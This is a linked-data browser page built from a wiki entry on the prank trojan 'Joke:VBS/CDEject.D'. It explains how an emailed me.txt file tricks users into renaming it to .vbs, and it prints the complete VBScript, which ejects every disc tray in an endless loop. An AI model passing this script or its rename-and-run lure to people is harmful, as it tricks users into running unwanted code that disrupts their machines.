About: Joke:VBS/CDEject.D

Description
Metadata
Settings
- owl:sameAs
- Inference Rule:

About: Joke:VBS/CDEject.D Sponge Permalink

An Entity of Type : dbkwik:resource/uazuHg3wEfJ5Uid5iYR3Jw==, within Data Space : 134.155.108.49:8890 associated with source dataset(s)

The user will get an email containing a text file (most notably labeled "me.txt") with some code inside. The user can avoid the virus by just ignoring the "instructions" that come with the email. The text reads: Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop

Attributes	Values
rdf:type	Malware
rdfs:label	Joke:VBS/CDEject.D
rdfs:comment	The user will get an email containing a text file (most notably labeled "me.txt") with some code inside. The user can avoid the virus by just ignoring the "instructions" that come with the email. The text reads: Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop
dcterms:subject	Win32 Virus Win32 trojan Solaris Trojan Win32 virus Worm VBS BSD dbkwik:resource/7TR1IqBkOO4yCqtBxJ3Hzw== Joke programs MacOS MacOS virus Linux Internet MacOS trojan dbkwik:resource/LnRWOVkideoDhA6uQMgVpA== dbkwik:resource/Shbf2xBpW7-SXYJrbyhqxA==
dbkwik:malware/pro...iPageUsesTemplate	dbkwik:resource/haxBIdLi7eEV_V8NrJ62kg== dbkwik:resource/Cteci1yq58wDC25geOK15A==
Date	2016-05-04(xsd:date)
Origin	Burnaby, Canada
Platform	All platforms
Name	Joke:VBS/CDEject.D
Type	Trojan
pl	.VBS
AKA	Me.vbs
abstract	The user will get an email containing a text file (most notably labeled "me.txt") with some code inside. The user can avoid the virus by just ignoring the "instructions" that come with the email. The text reads: Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop It will tell the user to open the file, go to save as, and change the ".txt" to ".vbs". Then when the user runs it, it will repetitively open and close the user's disk tray infinitely until the user terminate its process, log off, restart, or shut down. If the user's computer doesn't have a disk tray, the code will do nothing. Also, it can be blocked by some antiviruses, which will give the user a warning about the file and then quarantine the virus.

OpenLink Virtuoso version 07.20.3217, on Linux (x86_64-pc-linux-gnu), Standard Edition
Data on this page belongs to its respective rights holders.
Virtuoso Faceted Browser Copyright © 2009-2012 OpenLink Software